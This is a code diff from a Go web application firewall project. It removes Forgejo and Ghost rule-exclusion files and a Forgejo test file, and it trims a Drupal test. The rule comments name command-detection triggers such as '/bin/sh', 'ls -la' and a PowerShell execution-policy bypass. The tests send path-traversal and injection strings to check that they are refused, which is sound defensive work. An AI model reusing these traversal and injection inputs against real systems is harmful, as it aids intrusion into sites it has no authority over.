@@ -490,11 +407,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
r = request{
|
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
"/fr" + drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body = `{"name":"` + word + `"}`
|
body = `{"name":"` + word + `"}`
|
||||||
|
|
||||||
got, _ = inspectBody(t, crs, r, body)
|
got, _ = inspectBody(t, crs, r, body)
|
||||||
@@ -504,11 +417,7 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||||
r := request{
|
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||||
http.MethodPost,
|
|
||||||
"/fr" + drupalJSONPasswordReset,
|
|
||||||
[]string{jsonBody},
|
|
||||||
}
|
|
||||||
body := `{"mail":"` + address + `"}`
|
body := `{"mail":"` + address + `"}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -574,11 +483,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
|||||||
{drupalEditAccount, "mail=python3"},
|
{drupalEditAccount, "mail=python3"},
|
||||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||||
} {
|
} {
|
||||||
r := request{
|
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||||
http.MethodPost,
|
|
||||||
sent.path + "?" + sent.field,
|
|
||||||
[]string{formData},
|
|
||||||
}
|
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.field)
|
got, _ := inspectBody(t, crs, r, sent.field)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
|
|||||||
@@ -1,145 +0,0 @@
|
|||||||
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
|
|
||||||
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
|
|
||||||
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
|
|
||||||
# sends and gitea does not. Each exclusion runs with the request, before the
|
|
||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
|
||||||
# rules. Each comment names a request the rule refused.
|
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_forgejo. It sets it
|
|
||||||
# while SWW_APPS is unset, or lists forgejo for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_forgejo itself.
|
|
||||||
SecRule &TX:app_forgejo "@eq 0" \
|
|
||||||
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
|
|
||||||
|
|
||||||
# Forgejo's search of a wiki sends the text searched for in q, which skips
|
|
||||||
# these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
|
|
||||||
"id:900680,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# Forgejo's search of a repository's code at a branch or a tag sends the text
|
|
||||||
# searched for in q. The search box on a repository's home page sends it there
|
|
||||||
# when Forgejo has no code indexer, as by default. A branch or tag name can
|
|
||||||
# hold a slash, as feat/docker-support does. q skips there the rules it skips
|
|
||||||
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
|
|
||||||
# Forgejo's searches there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# Forgejo has no owner named api, so a path under /api/ gets none of this.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
|
|
||||||
"id:900681,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/" \
|
|
||||||
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=931100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932140;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932235;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=934130;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=941390;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942140;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944100;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944110;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=944130;ARGS:q"
|
|
||||||
|
|
||||||
# A page opened from the results of that search has the search's address in
|
|
||||||
# Referer, which skips these rules then, as after gitea's searches (900601 in
|
|
||||||
# gitea.conf):
|
|
||||||
# 941110: <script>
|
|
||||||
# 941120: onClick={
|
|
||||||
# 941160: <img src=
|
|
||||||
# 942100: LIKE '%foo%'
|
|
||||||
# 944100: java.lang.Runtime
|
|
||||||
# A path under /api/ is left out here too.
|
|
||||||
SecRule REQUEST_HEADERS:Referer \
|
|
||||||
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
|
|
||||||
"id:900684,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
|
|
||||||
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
|
|
||||||
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
|
|
||||||
|
|
||||||
# Forgejo's search of a repository's releases, on its page and in the API,
|
|
||||||
# matches q against each release's title and tag. A tag name can hold a slash.
|
|
||||||
# q skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932160: /bin/sh
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
# Forgejo has no owner named api, so /api/v1/releases is not one.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
|
|
||||||
"id:900682,phase:1,pass,nolog,chain"
|
|
||||||
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# The API's search of a job's log sends the text searched for in q, which
|
|
||||||
# skips these rules there:
|
|
||||||
# 930120: .htaccess
|
|
||||||
# 932120: powershell
|
|
||||||
# 932250: ls -la
|
|
||||||
# 932260: python3
|
|
||||||
SecRule REQUEST_FILENAME \
|
|
||||||
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
|
|
||||||
"id:900683,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:q,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
|
|
||||||
# which skips the list of command names (932260) there. It refused python3.
|
|
||||||
SecRule REQUEST_FILENAME "@streq /admin/repos" \
|
|
||||||
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
|
|
||||||
|
|
||||||
# Forgejo renames a branch on its own path, where from and to name branches.
|
|
||||||
# They skip these rules:
|
|
||||||
# 932120: fix-powershell-module
|
|
||||||
# 932260: feat/docker-support
|
|
||||||
# They are read only while SWW_WAF_BODY_LIMIT is set, and skip nothing when the
|
|
||||||
# query has a parameter of the same name.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/settings/rename_branch$" \
|
|
||||||
"id:900666,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^(?:from|to)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=932120;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:from,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:to,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:to"
|
|
||||||
|
|
||||||
SecMarker END_FORGEJO
|
|
||||||
@@ -1,169 +0,0 @@
|
|||||||
package coreruleset_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"net/http"
|
|
||||||
"slices"
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
|
||||||
)
|
|
||||||
|
|
||||||
// forgejo is Forgejo's name in SWW_APPS.
|
|
||||||
const forgejo = "forgejo"
|
|
||||||
|
|
||||||
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
|
|
||||||
const forgejoHost = "code.example"
|
|
||||||
|
|
||||||
func TestForgejoFixesApplyOnlyToAHostnameThatServesForgejo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{
|
|
||||||
forgejoHost: {forgejo}, otherHost: {wordpress},
|
|
||||||
})
|
|
||||||
|
|
||||||
// A search of a wiki, a search of the admin page, and a file name in
|
|
||||||
// Forgejo's flash cookie, which only Forgejo's fixes let through.
|
|
||||||
for _, fixed := range []struct {
|
|
||||||
request request
|
|
||||||
result coreruleset.Result
|
|
||||||
}{
|
|
||||||
{get("/alice/tools/wiki/search?q=python3"), matched(932260)},
|
|
||||||
{get("/admin/repos?q=python3"), matched(932260)},
|
|
||||||
{
|
|
||||||
get("/alice/tools", "Cookie: flash=success%3DFile%2Bpackage.json%2Bdeleted"),
|
|
||||||
matched(930120),
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, forgejoHost),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
wantResult(t, crs, withHost(fixed.request, otherHost), fixed.result)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestHostnameListingForgejoGetsGiteasFixesToo(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
crs := servingApps(t, map[string][]string{forgejoHost: {forgejo}})
|
|
||||||
|
|
||||||
for _, fixed := range giteaFixed {
|
|
||||||
wantResult(
|
|
||||||
t,
|
|
||||||
crs,
|
|
||||||
withHost(fixed.request, forgejoHost),
|
|
||||||
coreruleset.Result{},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// forgejoSearches are Forgejo's searches whose q skips some rules: those of
|
|
||||||
// a wiki, of releases, of a job's log and of the admin page, from Forgejo's
|
|
||||||
// fixes, and the searches for a name, from gitea's. The search of code at a
|
|
||||||
// branch or tag is not one of them: there, as on gitea's search of code, q
|
|
||||||
// lets these attacks through.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoSearches = []string{
|
|
||||||
"/alice/tools/wiki/search",
|
|
||||||
"/alice/tools/releases",
|
|
||||||
"/api/v1/repos/alice/tools/releases",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs",
|
|
||||||
"/admin/repos",
|
|
||||||
"/explore/repos",
|
|
||||||
"/explore/users",
|
|
||||||
"/alice/tools/branches",
|
|
||||||
"/alice/-/packages",
|
|
||||||
"/api/v1/packages/alice",
|
|
||||||
"/alice",
|
|
||||||
}
|
|
||||||
|
|
||||||
// forgejoAttacks are an SQL injection, a path traversal, a script injection
|
|
||||||
// and a shell command after a ";", as query values.
|
|
||||||
//
|
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
|
||||||
var forgejoAttacks = []string{
|
|
||||||
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
|
||||||
|
|
||||||
for _, path := range forgejoSearches {
|
|
||||||
for _, attack := range forgejoAttacks {
|
|
||||||
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
|
|
||||||
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
|
|
||||||
// The same field in a form data body.
|
|
||||||
r := request{http.MethodPost, path, []string{formData}}
|
|
||||||
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
|
|
||||||
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestForgejoExclusionsAreNarrow(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
|
||||||
|
|
||||||
crs := atDefaults(t)
|
|
||||||
|
|
||||||
// /bin/sh and the hard values, which q lets through on the searches
|
|
||||||
// named in Forgejo's fixes and on those of branches and packages, stay
|
|
||||||
// refused in q on paths near them and in another field on them.
|
|
||||||
// /alice/wiki/search would be the code search of a repository named
|
|
||||||
// wiki, where gitea's fixes let q through. Forgejo has no owner
|
|
||||||
// named api, so the paths under /api/ here are not searches.
|
|
||||||
for _, target := range []string{
|
|
||||||
"/alice/tools/wiki/Home?q=",
|
|
||||||
"/alice/tools/wiki/search/x?q=",
|
|
||||||
"/api/wiki/search?q=",
|
|
||||||
"/alice/tools/wiki/search?other=",
|
|
||||||
"/alice/tools/search/branch?q=",
|
|
||||||
"/alice/tools/search/commit/0123abc?q=",
|
|
||||||
"/alice/tools/src/branch/main?q=",
|
|
||||||
"/api/tools/search/branch/main?q=",
|
|
||||||
"/alice/tools/search/branch/main?other=",
|
|
||||||
"/alice/tools/releases/tag/v1.0?q=",
|
|
||||||
"/alice/tools/releases/latest?q=",
|
|
||||||
"/api/v1/releases?q=",
|
|
||||||
"/alice/tools/releases?other=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1?q=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/runs/1/logs?q=",
|
|
||||||
"/alice/tools/actions/runs/1/jobs/0/logs?q=",
|
|
||||||
"/api/v1/repos/alice/tools/actions/jobs/1/logs?other=",
|
|
||||||
"/alice/tools/branches/x?q=",
|
|
||||||
"/alice/-/packages/npm/x?q=",
|
|
||||||
"/alice/tools/branches?other=",
|
|
||||||
} {
|
|
||||||
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
|
|
||||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
|
||||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Referer keeps its rules on a page opened from a path near the code
|
|
||||||
// search at a branch or tag.
|
|
||||||
for _, path := range []string{
|
|
||||||
"/alice/tools/search/branch",
|
|
||||||
"/alice/tools/search/commit/0123abc",
|
|
||||||
"/api/tools/search/branch/main",
|
|
||||||
} {
|
|
||||||
for _, attack := range []string{scriptTag, injection} {
|
|
||||||
referer := "Referer: http://example.com" + path + "?q=" + attack
|
|
||||||
if got := inspect(t, crs, get("/", referer)); got.Score < threshold {
|
|
||||||
t.Errorf("%s let through: %+v", referer, got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,256 +0,0 @@
|
|||||||
# Ghost's fixes: on Ghost's paths, some fields skip the rules that refused
|
|
||||||
# ordinary Ghost requests there. Each exclusion runs with the request, before the
|
|
||||||
# rules it switches off, so this file is loaded before the Core Rule Set's
|
|
||||||
# rules. Each comment names a request a rule refused. An exclusion on a field of
|
|
||||||
# a body applies only when the query has no parameter of that name, so it
|
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
|
||||||
#
|
|
||||||
# Ghost's admin and its integrations call the Admin API under /ghost/api/admin/,
|
|
||||||
# themes and Ghost's own scripts call the Content API under /ghost/api/content/,
|
|
||||||
# and members call /members/api/. Coraza names a field of a JSON body by its
|
|
||||||
# path, so the title of the first post saved is json.posts.0.title.
|
|
||||||
|
|
||||||
# Every rule below is skipped unless Inspect has set tx.app_ghost. It sets it
|
|
||||||
# while SWW_APPS is unset, or lists ghost for the request's hostname.
|
|
||||||
# The skip reaches only phase 1, so a rule of a later phase must check
|
|
||||||
# tx.app_ghost itself.
|
|
||||||
SecRule &TX:app_ghost "@eq 0" \
|
|
||||||
"id:900365,phase:1,pass,nolog,skipAfter:END_GHOST"
|
|
||||||
|
|
||||||
# filter, a query in Ghost's own filter language, skips 932120 on the Admin API
|
|
||||||
# and the Content API: filter=tag:powershell, filter=name:~'powershell'.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/(?:admin|content)/" \
|
|
||||||
"id:900350,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:filter"
|
|
||||||
|
|
||||||
# search, the search for a member by name or address, skips four rules on the
|
|
||||||
# Admin API:
|
|
||||||
# 930120: search=.htaccess
|
|
||||||
# 932120: search=powershell
|
|
||||||
# 932250: search=ls -la
|
|
||||||
# 932260: search=python3
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900351,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:search,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:search"
|
|
||||||
|
|
||||||
# url, the address the editor looks up for an embed or a bookmark, skips two
|
|
||||||
# rules:
|
|
||||||
# 930120: url=https://github.com/example/site/blob/main/.htaccess
|
|
||||||
# 932120: url=https://example.com/blog/powershell-tips
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/oembed/" \
|
|
||||||
"id:900352,phase:1,pass,nolog,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:url,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:url"
|
|
||||||
|
|
||||||
# The fields a person types plain text into skip seven rules on the Admin API:
|
|
||||||
# 930120: the title "Using python3 and ls -la to tidy .htaccess files"
|
|
||||||
# 932120: the page's slug about-python3-powershell-htaccess
|
|
||||||
# 932125, 932230, 932250: the tag "Linux & ls -la"
|
|
||||||
# 932260: the tag python3
|
|
||||||
# 932380: the newsletter "Shell tips weekly: python3 & powershell"
|
|
||||||
# These fields hold plain text:
|
|
||||||
# title, name and slug of posts, pages, tags, labels, members, newsletters
|
|
||||||
# and snippets; a post's tags and a member's labels, by name or slug
|
|
||||||
# custom_excerpt, description, note and sender_name
|
|
||||||
# meta_title, meta_description, og_title, og_description, twitter_title and
|
|
||||||
# twitter_description
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
|
||||||
"id:900353,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
|
||||||
|
|
||||||
# name, the name a member saves at /members/api/, skips the same seven rules.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|
||||||
"id:900359,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
|
||||||
|
|
||||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
|
||||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
|
||||||
# python3.dev@example.com. These fields hold it:
|
|
||||||
# members.<n>.email, when the admin adds or edits a member under
|
|
||||||
# /ghost/api/admin/members/
|
|
||||||
# email, when a member signs up or in at /members/api/
|
|
||||||
# An address holds no spaces, so it keeps 932250, which needs ls -la.
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/members/" \
|
|
||||||
"id:900354,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.members\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.members\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.members\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.members\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
|
||||||
"id:900360,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.email$/"
|
|
||||||
|
|
||||||
# A staff user's email address also skips 930120, 932120 and 932260, which
|
|
||||||
# refused erin.htaccess@example.com, dave.powershell@example.com and
|
|
||||||
# python3.dev@example.com. Each of these fields skips them only on its own path:
|
|
||||||
# username, signing in at /ghost/api/admin/session/
|
|
||||||
# setup.<n>.email, creating the first staff user
|
|
||||||
# password_reset.<n>.email, asking for a password reset
|
|
||||||
# users.<n>.email, saving a staff user's profile
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/session/" \
|
|
||||||
"id:900361,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.username$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.username$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.username$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.username$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/setup/" \
|
|
||||||
"id:900362,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.setup\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.setup\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.setup\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.setup\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/password_reset/" \
|
|
||||||
"id:900363,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.password_reset\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.password_reset\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.password_reset\.\d+\.email$/"
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
|
||||||
"id:900364,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:/^json\.users\.\d+\.email$/ "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.users\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
|
||||||
|
|
||||||
# The articles skip these rules on the Admin API:
|
|
||||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
|
||||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
